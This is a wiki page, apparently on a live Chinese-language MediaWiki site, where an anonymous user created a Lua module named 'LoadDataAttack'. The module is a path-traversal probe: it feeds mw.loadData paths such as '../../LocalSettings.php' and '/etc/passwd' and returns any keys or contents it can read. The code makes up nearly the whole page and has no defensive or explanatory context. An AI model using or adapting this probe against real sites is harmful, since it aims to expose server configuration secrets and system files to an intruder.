模块:LoadDataAttack

来自希服维基
221.237.85.128讨论2026年5月9日 (六) 14:59的版本 (创建页面,内容为“local p = {} function p.test() local results = {} local paths = { "Module:Sandbox", "../../LocalSettings.php", "../LocalSettings.php", "/etc/passwd", "../../../etc/passwd", "../../../../etc/passwd", "Module:../LocalSettings.php", "Module:../../LocalSettings.php", } for _, path in ipairs(paths) do local ok, data = pcall(mw.loadData, path) local info = tostring(ok)…”)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:LoadDataAttack/doc创建此模块的帮助文档

local p = {}
function p.test()
    local results = {}

    local paths = {
        "Module:Sandbox",
        "../../LocalSettings.php",
        "../LocalSettings.php",
        "/etc/passwd",
        "../../../etc/passwd",
        "../../../../etc/passwd",
        "Module:../LocalSettings.php",
        "Module:../../LocalSettings.php",
    }

    for _, path in ipairs(paths) do
        local ok, data = pcall(mw.loadData, path)
        local info = tostring(ok)
        if ok and data then
            info = info .. ":" .. type(data)
            if type(data) == "table" then
                local keys = {}
                for k in pairs(data) do
                    keys[#keys+1] = tostring(k):sub(1,30)
                end
                info = info .. " keys:" .. table.concat(keys, ","):sub(1,100)
            elseif type(data) == "string" then
                info = info .. ":" .. tostring(data):sub(1,200)
            end
        end
        results[#results+1] = path:sub(1,30) .. "=" .. info
    end

    return table.concat(results, "\n")
end
return p